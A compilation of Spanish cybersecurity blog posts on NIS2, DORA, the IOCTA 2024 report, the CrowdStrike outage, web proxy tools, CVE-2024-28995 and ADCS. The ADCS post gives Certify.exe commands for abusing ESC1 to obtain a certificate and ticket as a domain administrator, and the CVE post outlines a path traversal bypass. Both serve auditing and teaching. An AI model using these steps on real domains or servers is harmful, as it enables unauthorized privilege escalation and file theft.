Dudas y aclaraciones sobre cómo implantar NIS2 en nuestras empresas

Recientemente estuvimos hablando de la Directiva NIS2 en otro artículo de Flu Project, en este caso, dedicado a otro tema de vertiente muy similar, el lanzamiento del 2º paquete RTS lanzado por las AES para el cumplimiento de DORA. Sin embargo, en el post de hoy queremos centrarnos en NIS2 y en algunas de las diferentes dudas que han ido surgiendo en los últimos meses, así que guardaros este post a modo de FAQ, que posiblemente os resulte de utilidad en vuestras respectivas organizaciones.

A modo de recordatorio, cuando hablamos de NIS2 nos referimos a la Directiva (UE) 2022/2555: NIS 2 (v2 de Network and Information Security), dirigida a elevar la ciberseguridad en la UE utilizando como palanca a sectores esenciales. No tiene nada que ver con el NIST (americano), cuyo parecido en 3 letras de 4 es mera coincidencia ;). Esta nueva regulación nace para actualizar y derogar la Directiva (UE) 2016/1148 del 6 de julio de 2016 (antigua Directiva NIS1).

NIS2 distingue dos grandes agrupaciones a las cuales les aplicarán determinados requerimientos en función de su criticidad. Estos requerimientos serán de aplicación para las empresas de estos sectores, siempre y cuando tengan más de 50 trabajadores (es decir, que al menos sean mediana empresa):

• Sectores de Alta Criticidad:
• Energía
• Transporte
• Banca
• Infraestructuras Mercados financieros
• Sector Sanitario
• Agua potable
• Aguas Residuales
• Infraestructura Digital
• Servicios TIC (B2B)
• Administración pública
• Espacio

• Otros Sectores Críticos:
• Servicios Postales y de mensajería
• Gestión de Residuos
• Fabricación, producción y distribución de sustancias y mezclas químicas
• Producción, transformación y distribución de alimentos
• Fabricación: Entre otros de productos sanitarios.
• Proveedores de servicios digitales
• Investigación

Sin embargo y por la redacción del Artículo 2, Punto 1 de la Directiva, el cual ha generado algo de controversia porque la redacción da lugar a confusión, estos requerimientos no solo aplicarán a estos 18 sectores en las organizaciones medianas y grandes, si no que tambien aplicarán a cualquier organización de estos sectores, independientemente de su tamaño, en determinadas circunstancias.

Esta hipótesis queda corroborada tras la publicación del Centro Criptológico Nacional, quien aclara en esta página que, con independencia de su tamaño, las medidas aplicarán a ambas agrupaciones (Sectores de Alta Criticidad y Críticos) en casos vinculados a la seguridad nacional y al funcionamiento de las infraestructuras críticas, en centros que realicen investigación (ej. centros de enseñanza), en administraciones regionales y locales (ej. ayuntamientos), lo cual por otra parte es algo obvio, dado que en muchos casos como en pueblos y pequeñas ciudades no llegarán a los 50 empleados pero sus servicios son mas que esenciales para la ciudadanía y el estado, etc. En la siguiente captura de la web del CCN podréis consultar estos detalles: 

En esta misma publicación podréis descargar una infografía muy interesante que vincula el Esquema Nacional de Seguridad (ENS) con NIS2, y en la que aclaran que a ojos de la administración, una compañía que disponga del ENS certificado en su Nivel Alto, será considerada como "conforme" frente a la Directiva NIS2, por lo que si ya contáis con esta certificación, ya tendréis hechos los deberes:

 

Asimismo, aclara que aquellas compañías que tengan certificaciones ENS Media y Básica deberán hacer hincapié en los temas de continuidad y gestión de proveedores, tal y como define la propia Directiva.

Para comenzar a entender de qué va NIS2 os recomiendo 2 de las publicaciones oficiales que tenemos en castellano, la propia traducción oficial de la directiva:

Y la Guía CCN-STIC 892 que ha sido publicada hace apenas unos días:

Por otro lado, es importante aclarar que, según el artículo 41 de la Directiva NIS2, esta deberá transponerse por los países de la UE no mas tarde del 17 de octubre de 2024, bajo una norma con rango de Ley. Es decir, en un mes aproximadamente finalizará el plazo para tenerla oficialmente con nosotros, aunque aún hay cierta incertidumbre porque no ha sido publicada y se desconoce si habrá muchas variaciones que puedan cambiar el paso a aquellas organizaciones que ya se han puesto manos a la obra con la implantación.

Otra fecha importante que tenemos con nosotros es el 17 de abril de 2025, día en el que los diferentes países de la UE deberán de haber hecho públicos sus listados de empresas y administraciones afectadas por la aplicación de la regulación. Estos listados de entidades esenciales e importantes deberán de actualizarse, como máximo, cada 2 años.

Finalmente y al respecto de otra pregunta que nos suelen hacer, ¿NIS2 es certificable? Técnicamente NO. Simplemente es una ley que debemos de cumplir, como ocurre con otras muchas como la Ley Orgánica de Protección de Datos (LOPD). Sin embargo, tal y como aclara el CCN-CERT, debido a sus similitudes, la posesión de la certificación del ENS es una via reconocida para cumplir NIS2, por lo que es algo que las organizaciones podrán pensarse dentro de sus estrategias de gobierno y seguridad.

Próximamente seguiremos ampliando esta cadena de artículos según vayan siendo publicados nuevos datos de esta regulación tan esperada.

¡Saludos!

Internet Organised Crime Threat Assessment (IOCTA) 2024

En 2023, los ataques de ransomware, así como el fraude en línea siguieron siendo las principales amenazas en el mundo de la ciberseguridad en la UE. Este panorama incluyó tanto actores solitarios como redes criminales, operando tanto dentro como fuera de la UE. Aunque se fortalecen los marcos regulatorios, el factor humano sigue siendo el eslabón más débil. Los modelos de estafa multinivel y las tecnologías emergentes como la IA están mejorando la ingeniería social y facilitando el fraude. El uso de deepfakes también está en aumento, especialmente en el fraude generado por IA. 

A continuación, se van a analizar los tipos de amenazas más comunes del 2023:

Criptodivisas y la dark web

En 2023, el uso criminal de criptomonedas se hizo más evidente, con un aumento en las solicitudes de apoyo investigativo recibidas por Europol. Los delitos financieros, principalmente el fraude de inversión y el lavado de dinero, son las áreas donde más se encuentran las criptomonedas. Algunas stablecoins permiten a las agencias de la ley congelar fondos sospechosos, lo que facilita las investigaciones.

Los operadores de ransomware suelen pedir Bitcoin como rescate, aunque a veces exigen otras criptomonedas como Monero. El uso criminal de altcoins está en aumento, con casos que involucran Bitcoin y altcoins casi igualados. Las nuevas normas de la UE sobre transferencias de fondos han ampliado las obligaciones de reporte a los proveedores de servicios de criptoactivos (CASPs), lo que se espera mejore la cantidad de información disponible para las investigaciones en la UE.

Por otro lado, los foros de la dark web son los principales canales para anunciar mercados oscuros (ilícitos), en los cuales la moneda de cambio son las crytocoins. Los administradores limitan el tamaño y la vida útil de sus mercados para evitar la vigilancia digital, mientras mantienen una buena reputación para atraer clientes. En la dark web las criptomonedas continúan siendo atractivas debido a su dificultad para rastrear este tipo de activo.

Ciberataques

Los grupos de ransomware que operan bajo el modelo de Ramsonware-as-a-Service (RaaS) han intentado capitalizar la caída de sus competidores para atraer afiliados. Tras la interrupción de los servicios de Hive, BlackCat/ALPHV promovió su seguridad y no-log policy para atraer a los antiguos afiliados de Hive. Sin embargo, el cierre de sitios de BlackCat/ALPHV en diciembre de 2023 dañó su reputación, y en marzo de 2024, aparentemente cesaron operaciones y estafaron a sus afiliados. Las acciones policiales contra operadores de ransomware afectan su reputación y operación, exponiendo a los afiliados y causando pérdidas de recursos. Esta susceptibilidad ha llevado a algunos afiliados a desarrollar sus propios malwares utilizando herramientas de IA. LockBit, uno de los proveedores de RaaS más famoso, fue desmantelado en febrero de 2024 mediante una acción coordinada de LEAs, dañando severamente su capacidad. LockBit había lanzado nuevas variantes como LockBit Black y LockBit Green, y desarrollaba encryptores para MacOS. Un nuevo grupo RaaS, Akira, asociado al desmantelado grupo Conti, ha surgido como una amenaza creciente.

Los grupos de ransomware han centrado sus ataques principalmente en pequeñas y medianas empresas (SMBs), ya que las grandes empresas han mejorado su ciberseguridad. Los atacantes eligen sus objetivos basándose en el tamaño, la probabilidad de pago y el esfuerzo necesario para comprometer los sistemas, utilizando credenciales robadas o explotando vulnerabilidades en tecnologías accesibles públicamente. Los operadores de ransomware emplean intermediarios de acceso inicial (IABs) especializados en ciertas tecnologías para identificar superficies de ataque viables, influenciando la selección de objetivos. Los operadores continúan utilizando tácticas de extorsión multilayer, donde la amenaza de publicar o subastar datos robados se ha vuelto más efectiva, ya que muchas organizaciones ahora realizan copias de seguridad regularmente.

En 2023, el panorama del malware como servicio (MaaS) experimentó varios cambios. Tras la caída de la infraestructura del malware Qakbot, los atacantes recurrieron rápidamente a otros proveedores establecidos o emergentes de dropper/loaders, como IcedID, SystemBC, Pikabot, DanaBot y Smokeloader. Cobalt Strike se comenzó a usar como puerta trasera y centro de comando y control (C2). Los marcos impulsados por IA, como PentestGPT, también están siendo utilizados con fines maliciosos para facilitar el compromiso inicial de los sistemas de información.

Esquemas de fraude en línea y de pago

En 2023, la amenaza de los robos de cuentas (ATO) ha crecido significativamente, destacándose como una forma clave de Criminal-as-a-Service (CaaS). Los delincuentes siguen accediendo a cuentas en línea, como bancos, correos electrónicos y redes sociales, para tomar fondos y obtener información sensible que luego monetizan. Dado que los bancos están tratando las pérdidas por estafas de credenciales 2FA/MFA como negligencia del titular legítimo, los fraudes dirigidos a cuentas individuales continúan siendo una actividad de bajo riesgo y alto beneficio para los criminales.

Los atacantes utilizan herramientas de administración remota (RAT) y aplicaciones disponibles en tiendas legítimas para generar estos fraudes. Los ataques de Business Email Compromise (BEC), particularmente el fraude dirigido a CEOs, siguen siendo comunes, con correos electrónicos de phishing cada vez más convincentes gracias a modelos de lenguaje generativo (LLMs). Las estafas dirigidas también siguen siendo una amenaza significativa, con herramientas de IA que permiten a los estafadores contactar a más víctimas y perfeccionar sus técnicas de ingeniería social.

¿Qué esperar en el futuro?

La adopción generalizada de herramientas y servicios de IA por parte de los atacantes está generando nuevas amenazas, incluyendo tanto el abuso de herramientas y servicios legítimos como la creación de versiones maliciosas ad hoc. La proliferación de modelos de lenguaje sin filtros emergentes multiplicará los anuncios fraudulentos generados por IA, atrayendo a potenciales víctimas. Los delincuentes podrán usar IA para mejorar métodos criminales y superar barreras idiomáticas, facilitando la manipulación en múltiples idiomas.

Priorizando la prevención de delincuentes, las fuerzas del orden y los legisladores pueden abordar el cibercrimen desde su raíz, creando soluciones sostenibles y a largo plazo para proteger estos entornos. Al enfocarse en las causas que llevan a las personas a involucrarse en este tipo de actividades, como la falta de conciencia, incentivos financieros o factores socioeconómicos, las autoridades pueden reducir efectivamente las tasas de crimen en línea. Invertir en prevención no solo mitiga los riesgos inmediatos, sino que también fomenta una cultura de ciberseguridad, creando un entorno digital más seguro.

Jorge Ezequiel de Francisco, Analista de Ciberseguridad en Zerolynx.

Lecciones del apagón de CrowdStrike

Como es conocido, hace unas semanas hubo un apagón informático que afectó a una gran parte del mundo (podéis ver un artículo publicado por Flu Project profundizando en ello en el siguiente enlace). Este problema, que afectó a casi 9 millones de dispositivos Windows (1% de las máquinas en todo el mundo), fue debido a una actualización defectuosa de CrowdStrike Falcon, un sensor del famoso EDR encargado de bloquear ataques contra sistemas y que captura y registra toda la actividad a tiempo real, con el fin de detectar amenazas rápidamente.

Primera lección: un problema evitable

Pero, la pregunta es ¿todo esto se podría haber evitado? Para ello debemos entender la raíz del problema.

Según lo que han contado desde la propia compañía, el problema fue debido a la presencia de un fichero corrupto en la actualización de CrowdStrike Falcon, lo que provocó que todo sistema que la obtuvo colapsara al no ser capaces de leerlo. Ya que el problema afectaba a nivel kernel, los sistemas se quedaban en bucle al arrancar provocando la tan conocida “pantalla azul” (BSOD).

¿Cómo es posible que algo así suceda en pleno 2024? ¿No se hacen chequeos antes de lanzar una actualización de este tipo? Normalmente sí, pero no siempre tiene por qué ser así. En este caso, CrowdStrike Falcon tenía la certificación de Microsoft, pero en las actualizaciones no todas las piezas que lo conforman necesitan ser certificadas.

Y he aquí el problema, estos componentes aprovechan la certificación de Falcon para colarse en el núcleo del sistema operativo y cualquier error en él puede ser fatal. Por lo tanto, es muy importante controlar bien los proveedores que pueden acceder a esta parte del S.O. 

Todo esto nos hace cuestionarnos que si la actualización tenía un riesgo tan alto ¿por qué CrowdStrike no probó la actualización antes de lanzarla mundialmente? Pues según explican algunos expertos, “CrowdStrike se tuvo que arriesgar porque descubrieron varias vulnerabilidades críticas en el sistema, y esas actualizaciones tenían como fin eliminarlas antes de que cualquier atacante pudiera aprovecharlas”.

Tras todo esto y volviendo a la pregunta inicial, si todo este problema se podría haber evitado, pues muy probablemente, sí.

Segunda lección: honestidad y humildad

Tras el incidente, era importante buscar alguien que asumiera la responsabilidad de lo sucedido, y debemos hablar desde el punto de vista de Microsoft y de CrowdStrike.

Por la parte de Microsoft, es recurrente la pregunta, ¿por qué permite que software de terceros llegue tan lejos, siendo esto tan arriesgado para sus sistemas?

En las declaraciones al periódico The Wall Street Journal, un portavoz del gigante tecnológico acusó a la Comisión Europea de obligarle a hacerlo, a raíz de un acuerdo que ambas partes firmaron en 2009. Este acuerdo tenía como propósito promover la libre competencia. Microsoft había adquirido varios antivirus para prestar servicios de ciberseguridad con acceso directo al kernel de Windows, lo cual le daba una clara ventaja sobre los demás competidores. Por eso se acordó que la compañía debía permitir a los demás poder conocer el sistema operativo tanto como las soluciones propias de Microsoft.

Un representante de la comisión respondió que Microsoft debe adaptar su infraestructura de seguridad conforme al acuerdo firmado, ya que el problema no se limitó a los territorios de la UE. También afirmó que Microsoft nunca había mostrado ni planteado una preocupación sobre este aspecto de seguridad ni antes ni después del incidente.

Tras las declaraciones de Microsoft, muchos expertos han dado su opinión y aseguran que, a pesar del acuerdo, no hay ninguna buena razón para que la compañía tecnológica no pudiera cumplirlo con los “controles adecuados”. Dejando claro que el acuerdo no obliga a que todos los antivirus tengan que acceder al kernel, sino que simplemente les da la posibilidad de hacerlo. De hecho, no todos lo hacen, ya que buscan otras fórmulas e innovación propia para proteger el sistema.

Por la parte de CrowdStrike, tras el incidente ofreció a sus socios una tarjeta de regalo de Uber Eats por un valor aproximado de 9 euros como disculpa. Por si fuera poco, tras el aluvión de personas que lo quisieron canjear, la aplicación lo reconoció como fraude y canceló los cupones.

Como es normal, las críticas han sido abundantes. Una compensación de 9 euros no es ni por asomo proporcional al daño causado, llegando a ser insultante para entidades como ADIF, una de las más golpeadas por la situación.

Es imprescindible ser honesto y tener mucha humildad a la hora de afrontar públicamente un suceso de este calibre, y los departamentos de relaciones públicas deben de estar a la altura.

Tercera lección: no se debe depender de una única solución

Cada vez más se utilizan grandes softwares que centralizan los recursos, lo cual genera una gran dependencia de la tecnología. Esto es eficiente, pero también muy peligroso, ya que, si un componente crítico falla, puede provocar un efecto dominó. Y en esto pone mucho hincapié la regulación europea DORA (Digital Operational Resilience Act), que dedica un apartado a proponer soluciones para lo que denominan “riesgo de concentración”, invitando a que las empresas no dependan de únicamente 3 o 4 proveedores y distribuyan sus necesidades de servicios y productos entre más organizaciones, evitando así que se generen dependencias que les hagan perder el control.

El incidente sucedido solo pone en manifiesto este hecho y que el empeño actual de conectar todo (las infraestructuras críticas, las empresas, las administraciones públicas, todo tipo de gadgets, los electrodomésticos, etc.) genera más riesgo de ciberataques, ya que dependemos de Internet para casi todo. De hecho, no solo las empresas españolas fueron gravemente afectadas, sino que también afectó a unas 125 empresas de las Fortune 500. ¿Qué habría pasado si hubiera afectado a MacOS y Linux? ¿Y si hubiera afectado al 100% de las máquinas Windows del mundo? La situación habría pasado de ser caótica a ser apocalíptica.

Cuarta lección: ciberseguridad como prioridad

Hoy en día es más importante que nunca tener entre las máximas prioridades a la ciberseguridad, ya sea una empresa, una administración pública, una institución o un usuario. El número de ciberataques ha aumentado hasta límites nunca vistos y hay que estar a la altura de las circunstancias.

El apagón informático que afectó a Windows fue histórico y afecto a muchos sectores mundiales y, aunque no es el primer gran apagón sucedido, muchos expertos se siguen sorprendiendo de que las empresas de sectores críticos como la banca, las aerolíneas y/o los medios de comunicación, no tuvieran o no pudiesen abordar una mejor respuesta con sus planes de contingencia y recuperación ante incidentes. Además, a raíz del problema, algunos actores maliciosos se están aprovechando para realizar campañas de phishing con un fichero malicioso que supuestamente soluciona el problema. El malo nunca desaprovecha una buena oportunidad.

Por todo esto y por sucesos similares anteriores, es que la ciberseguridad debe de ser una prioridad en todo ámbito si de verdad no se quieren lamentar pérdidas, ya sean monetarias o de datos sensibles de las empresas o usuarios.

Javier Muñoz, Analista de Ciberseguridad en Zerolynx

Comprendiendo ADCS 101

En esta publicación estaremos comentando los aspectos básicos sobre ADCS, así como la técnica de explotación ESC1.

Introducción a ADCS

Active Directory Certificate Services (ADCS) es un rol del servidor de Windows que proporciona servicios personalizables para la emisión y gestión de certificados de infraestructura de clave pública (PKI) utilizados en sistemas de seguridad de software. Permite a las organizaciones asegurar la comunicación de red, autenticar usuarios y dispositivos, y garantizar la integridad de los datos mediante servicios criptográficos. ADCS soporta varios tipos de certificados, como certificados SSL/TLS, certificados de firma de código y certificados de inicio de sesión con tarjeta inteligente, entre otros.

El uso de ADCS es muy útil para las organizaciones, ya que pueden desplegar plantillas de certificados, de manera que los usuarios del dominio pueden solicitar enrolarse a dicha plantilla y obtener certificados, obteniendo así acceso o privilegios sobre diferentes elementos del dominio. 

Una mala configuración del rol Active Directory Certificate Services y de sus componentes como las plantillas de certificados, puede derivar en diferentes vulnerabilidades que pueden llegar a permitir una elevación de privilegios en el dominio

Enumeración de vulnerabilidades

Para revisar los servicios de ADCS durante un ejercicio de auditoría, se suelen utilizar herramientas como Certify.exe o Certipy.

Estas dos herramientas permiten enumerar y solicitar certificados desde ADCS, facilitando la tarea de identificar plantillas cuya configuración no es correcta y permite algún tipo de abuso. 

Durante la enumeración de vulnerabilidades relativas a ADCS se pueden identificar diferentes técnicas de abuso en función de la situación del entorno auditado. A este tipo de situaciones o entornos mal configurados se les asocian unas técnicas de escalada (ESC) siendo que en la actualidad hay un total de 13 (ESC1 – ESC13) los cuales pueden llegar a permitir una elevación de privilegios en el dominio.

Explotación ESC1

ESC1 se refiere a una vulnerabilidad común en las configuraciones de ADCS donde los permisos de inscripción están configurados incorrectamente. Esta mala configuración puede permitir usuarios de dominio soliciten certificados en nombre de cualquier otra cuenta de la organización, permitiendo así impersonar a cualquiera de estas con las escaladas de privilegios que esto conlleva. 

Con Certify.exe es posible enumerar que plantillas permiten solicitar certificados en nombre de otro usuario de la siguiente manera: 

Terminal

                Certify.exe find /enrolleeSuppliesSubject. 

      

Una vez detectada una plantilla que permite autoenrolarse a cualquier cuenta de dominio autenticada y que permite especificar el nombre de la cuenta para la obtención del certificado, es posible obtener dicho certificado de la siguiente manera: 

Terminal

              Certify.exe request /ca:'dominio'\'entidad certificadora (CA)' /template:"'nombre de la plantilla vulnerable'" /altname:'cuenta de dominio a impersonar'

      

Tras la ejecución del comando anterior, se puede obtener un certificado a nombre de cualquier cuenta de dominio, siendo en este caso la cuenta “administrator”. Posteriormente, utilizando herramientas como openssl es posible transformar este tipo de certificados .pem en certificados .pfx, los cuales pueden ser interpretados por Rubeus para obtener un ticket en nombre de la cuenta asociada al certificado expedido.

Como podemos observar se ha obtenido el ticket de administrador de dominio con el certificado obtenido.

En próximas entregas continuaremos hablando sobre diferentes ESCs y sus métodos de explotación.

Ignacio Sánchez, colaborador con Grupo Zerolynx.

CVE-2024-28995 – SolarWinds Serv-U Path Traversal

Continuando con la saga de los CVEs de este 2024 tenemos el día de hoy el CVE-2024-28995. 

La plataforma de administración TI SolarWinds reportó el pasado 5 de junio una vulnerabilidad en su servidor de archivos SolarWinds Serv-U. La vulnerabilidad consiste en un problema de path-traversal que permite a un atacante no autenticado obtener cualquier archivo del sistema de archivos en la máquina host. 

Las versiones afectadas son: 

• SolarWinds Serv-U 15.4.2 y anteriores 

Actualmente existen pruebas de concepto destinadas al descubrimiento de la posible vulnerabilidad en los sistemas de una IP seleccionada. 

La vulnerabilidad 

La vulnerabilidad puede ser explotada mediante una petición GET muy simple a la raíz “/”, con los argumentos a buscar “InternalDir” e “InternalFile”. 

Un ejemplo de ello puede ser: 

En estos payloads se utilizan las barras “\” para Linux y las barras “/” para Windows, ya que, resulta que en Serv-U solo filtran las barras adecuadas para la plataforma (“/” en Linux y “\” en Windows), y luego las arregla. Por lo tanto, si se envía las barras de manera incorrecta, la petición pasa el filtro y luego se “arreglan”, lo que da lugar a un problema “time-of-check-time-of-use” (TOCTOU).  

Conclusión 

El 17 de junio la Agencia de Seguridad de Infraestructura y Ciberseguridad de los Estados Unidos (CISA) añadió esta vulnerabilidad junto a otras más a su catálogo de Vulnerabilidades Explotadas Conocidas (KEV). 

Esta vulnerabilidad ha sido catalogada con una puntuación CVSS: 8,6 y CVE-2024-28995. En cuanto a su remediación, SolarWinds lanzó rápidamente su parche Serv-U 15.4.2 Hostfix 2 y se recomienda que todos los que hagan uso de esta plataforma, actualicen este parche lo antes posible si aún no lo han hecho. 

Y hasta aquí este CVE nos vemos cuando salgan más C, más V y más E. Hasta la próxima. 

Javier Muñoz, Analista de Ciberseguridad en Zerolynx

Alternativas a BurpSuite - Caido Web Proxy

En el momento de realizar auditorías webs siempre solemos pensar en BurpSuite que es la herramienta por excelencia, pero alguna vez se ha pensado en ¿otras alternativas? 

Sabemos que si hablamos de pentest web las herramientas más destacadas son OWASP ZAP y BurpSuite, ambas ampliamente utilizadas y reconocidas por su eficacia y funcionalidad. Recientemente, ha surgido una nueva herramienta en el panorama: Caido, un proxy que promete innovaciones y mejoras en varios aspectos. Este post tiene como objetivo comparar Caido directamente con OWASP ZAP y BurpSuite, evaluando sus ventajas y desventajas para ayudaros a elegir aquella que mejor cumpla los requisitos de vuestras auditorías.

¿Caido? 

Sí, Caido. Este proxy, está programado en Rust y posee una serie de opciones y características muy interesantes. Al igual que otros proxies, está basado en proyectos, donde el usuario puede realizar modificaciones específicas dependiendo del proyecto en el que esté trabajando. Sin embargo, Caido permite cambiar de proyecto sin necesidad de reiniciar la aplicación: 

Otra opción muy útil de Caido son los “workflows”. Estos flujos permiten al auditor automatizar procesos de una manera sencilla y visual, realizando determinadas acciones en base al contenido de la petición realizada o la respuesta obtenido, ejecutando módulos locales dependiendo de determinados parámetros en la petición/respuesta interceptada: 

Otra característica de Caido es su asistente, al que se tiene acceso una vez obtenido el plan de pago. Este asistente se trata de una inteligencia artificial LLM (modelo de lenguaje de gran tamaño), que ayuda al auditor en sus pruebas de pentest web: 

Características Principales de Caido, OWASP ZAP y BurpSuite 

Caido 

Como se ha demostrado en la sección anterior, Caido es una herramienta innovadora diseñada para ser simple y eficaz. Sus características principales incluyen: 

• Interfaz de Usuario: Caido ofrece una interfaz moderna y simplificada, facilitando la navegación y el uso incluso para usuarios menos experimentados. 

• Automatización: Incorpora capacidades avanzadas de automatización para pruebas de penetración, reduciendo la intervención manual y acelerando los procesos. 

• Integración: Está diseñado para integrarse fácilmente con otras herramientas y sistemas, permitiendo una mayor flexibilidad en su uso. 

• Desempeño: Se destaca por ser eficiente, manejando grandes volúmenes de tráfico sin comprometer la velocidad. 

OWASP ZAP 

OWASP ZAP (Zed Attack Proxy) es una de las herramientas del ámbito de la seguridad de aplicaciones web, especialmente conocida por ser de código abierto. Sus características principales incluyen: 

• Interfaz de Usuario: ZAP ofrece una interfaz robusta, pero puede ser intimidante para los nuevos usuarios debido a su cantidad de configuraciones. 

• Automatización y Scripts: ZAP permite la creación de scripts personalizados para automatizar pruebas específicas, aunque requiere conocimientos técnicos más avanzados. 

• Escaneo de Vulnerabilidades: Incluye un potente motor de escaneo para identificar diversas vulnerabilidades. 

• Comunidad y Soporte: La comunidad de usuarios y desarrolladores de ZAP es muy activa, proporcionando soporte, documentación y actualizaciones constantes. 

BurpSuite 

BurpSuite es una herramienta de PortSwigger ampliamente reconocida por su capacidad y eficacia en pruebas de seguridad. Sus características principales incluyen: 

• Interfaz de Usuario: BurpSuite ofrece una interfaz intuitiva y rica en funcionalidades, adecuada tanto para principiantes como para expertos. 

• Herramientas Integradas: Integra una serie de herramientas, como escáner de vulnerabilidades, repetidores, y herramientas de análisis de tráfico HTTP/HTTPS. 

• Extensiones y Automatización: BurpSuite permite la instalación de extensiones y la automatización de tareas complejas, facilitando personalizaciones avanzadas. 

• Soporte y Documentación: La versión profesional de BurpSuite viene con soporte técnico dedicado y documentación extensa, aunque a cambio de un costo considerable. 

Situaciones de Seguridad 

Caido 

Caido es ideal para organizaciones y profesionales que buscan una herramienta moderna y eficiente con una curva de aprendizaje suave. Es especialmente útil para aquellos que requieren integraciones rápidas y una interfaz amigable para el usuario. Sin embargo, su novedad en el mercado significa que puede tener menos soporte y documentación disponible en comparación con las herramientas más establecidas. 

OWASP ZAP 

ZAP es la opción preferida para aquellos que buscan una herramienta poderosa y gratuita con una comunidad activa. Es adecuada para organizaciones con recursos limitados que pueden invertir tiempo en personalización y aprendizaje. Su capacidad de script y la extensa documentación la hacen ideal para usuarios avanzados que buscan una personalización profunda. 

BurpSuite 

BurpSuite es la elección principal para profesionales y organizaciones que pueden invertir en una herramienta comercial robusta y completa. Es ideal para pruebas de penetración avanzadas y detalladas, proporcionando un soporte técnico dedicado y una amplia gama de funcionalidades. Su estabilidad y rendimiento la hacen adecuada para entornos donde la seguridad es crítica y no se pueden permitir compromisos. 

En resumen, cada una de estas herramientas tiene sus fortalezas y debilidades, y la elección final debe basarse en un análisis de los requisitos específicos, el presupuesto disponible y el nivel de experiencia del usuario. 

Egoitz San Martín, Analista de Ciberseguridad en Grupo Zerolynx

 

Las Autoridades Europeas de Supervisión (AES) acaban de lanzar el segundo paquete RTS bajo DORA.

El 27 de diciembre de 2022 fueron publicadas en el Diario Oficial de la Unión Europea dos normas diferentes, pero muy ligadas entre sí, relacionadas con la ciberseguridad. Entraron en vigor 20 días después, el 16 de enero de 2023. Nos referimos al Reglamento (UE) 2022/2554: Resiliencia Operativa Digital (DORA, Digital Operational Resilience Act), dirigida al Sector Financiero y a la Directiva (UE) 2022/2555: NIS 2 (v2 de Network and Information Security), dirigida a elevar la ciberseguridad en la UE, utilizando como palanca a sectores esenciales. Si os fijáis, los números de ambas regulaciones son consecutivos, lo que denota que fueron diseñadas desde un punto de vista conjunto.

Para los que no estéis familiarizados con el mundo del derecho, DORA es un reglamento (norma de la UE de aplicación inmediata) que tiene únicamente una excepción, no aplicará hasta el 17 de enero de 2025. Por el contrario, NIS2 es una directiva (norma de la UE que requiere que los estados miembros la traspongan). Debe regularse por una norma con rango de Ley antes del 17 de octubre de 2024. Pero, por el momento, a la fecha de este post (29 de julio de 2024), no ha sido traspuesta, y parece difícil que se pueda cumplir la fecha marcada por la unión.

El reglamento DORA, sobre el que centraremos el presente artículo, exige sanciones y medidas eficaces, proporcionales y disuasorias, contemplando asimismo sanciones administrativas y penales (una novedad). Algo tambien clave y novedoso es que podrán aplicarse a los miembros del consejo. Es más, DORA obliga a que sean publicadas las sanciones administrativas impuestas a los miembros del consejo, con nombre y apellidos, hasta 5 años.

Para proporcionar orientación sobre cómo implementar estas disposiciones, las Autoridades Europeas de Supervisión (AES) desarrollan las Regulatory Technical Standards o RTS (legislación de Nivel 2). El primer paquete RTS fue publicado hace poco más de un año, en junio de 2023. Y el segundo paquete tal y como se preveía, ha sido publicado la pasada semana, una vez finalizadas las elecciones europeas.

El primer paquete ha sido ampliamente debatido bajo consulta pública, y, el texto que definía DORA en apenas 79 páginas ha crecido en el segundo paquete RTS de forma considerable.

Cito textualmente las nuevas incorporaciones:

The three European Supervisory Authorities (EBA, EIOPA and ESMA – the ESAs) published today the second batch of policy products under the Digital Operational Resilience Act (DORA). This batch consists of four final draft regulatory technical standards (RTS), one set of Implementing Technical Standards (ITS) and 2 guidelines, all of which aim at enhancing the digital operational resilience of the EU’s financial sector.

The package focuses on the reporting framework for ICT-related incidents (reporting clarity, templates) and threat-led penetration testing while also introducing some requirements on the design of the oversight framework, which enhance the digital operational resilience of the EU financial sector, thus also ensuring continuous and uninterrupted provision of financial services to customers and safety of their data.

The ESAs are publishing the following final draft technical standards:

1. RTS and ITS on the content, format, templates and timelines for reporting major ICT-related incidents and significant cyber threats; 

2. RTS on the harmonization of conditions enabling the conduct of the oversight activities;

3. RTS specifying the criteria for determining the composition of the joint examination team (JET); and

4. RTS on threat-led penetration testing (TLPT).

The set of guidelines include:

• Guidelines on the estimation of aggregated costs/losses caused by major ICT-related incidents; and

• Guidelines on oversight cooperation.

Este es un pequeño resumen de cada uno de los documentos del nuevo paquete que contiene 4 RTS (Regulatory Technical Standards) y 1 ITS (Implementing Technical Standards):

• RTS y ITS sobre el contenido, formato, plantillas y plazos para reportar incidentes importantes relacionados con las TIC y amenazas cibernéticas significativas: Este documento establece estándares técnicos y de implementación para la notificación de incidentes y amenazas cibernéticas, especificando qué información se debe reportar, en qué formato, y dentro de qué plazos.

• RTS sobre la armonización de las condiciones que permiten la realización de actividades de supervisión: Establece los requisitos para armonizar las condiciones bajo las cuales se realizan las actividades de supervisión, asegurando un enfoque coherente en toda la UE.

• RTS que especifica los criterios para determinar la composición del equipo de examen conjunto (JET): Define los criterios para formar equipos de examen conjuntos que supervisen las pruebas de penetración y otras evaluaciones, asegurando que se cuente con el personal adecuado y calificado.

• RTS sobre pruebas de penetración lideradas por amenazas (TLPT): Proporciona los requisitos para llevar a cabo pruebas de penetración basadas en amenazas específicas, con el fin de evaluar la resiliencia de las entidades financieras ante ciberataques.

Junto a estos documentos, encontramos 2 guías con el siguiente contenido:

• Guías sobre la estimación de costos/pérdidas agregados causados por incidentes importantes relacionados con las TIC: Ofrece pautas para calcular los costos y pérdidas totales derivados de incidentes significativos relacionados con las TIC, ayudando a las entidades a evaluar el impacto financiero de dichos incidentes.

• Guías sobre la cooperación en la supervisión: Define cómo deben cooperar las autoridades de supervisión en la supervisión de las actividades de las entidades financieras, promoviendo una colaboración eficaz y una supervisión coherente a nivel europeo.

La EBA (European Banking Authority), parte de la ESA, ha trasladado que las guías ya han sido adoptadas por los Consejos de Supervisión de las tres Autoridades Europeas de Supervisión (ESAs). Los borradores finales de los estándares técnicos han sido enviados a la Comisión Europea, que ahora comenzará a revisarlos con el objetivo de adoptarlos en los próximos meses. Los RTS restantes sobre subcontratación se publicarán próximamente.

Tenéis más detalles sobre ello en: https://www.eba.europa.eu/publications-and-media/press-releases/esas-published-second-batch-policy-products-under-dora

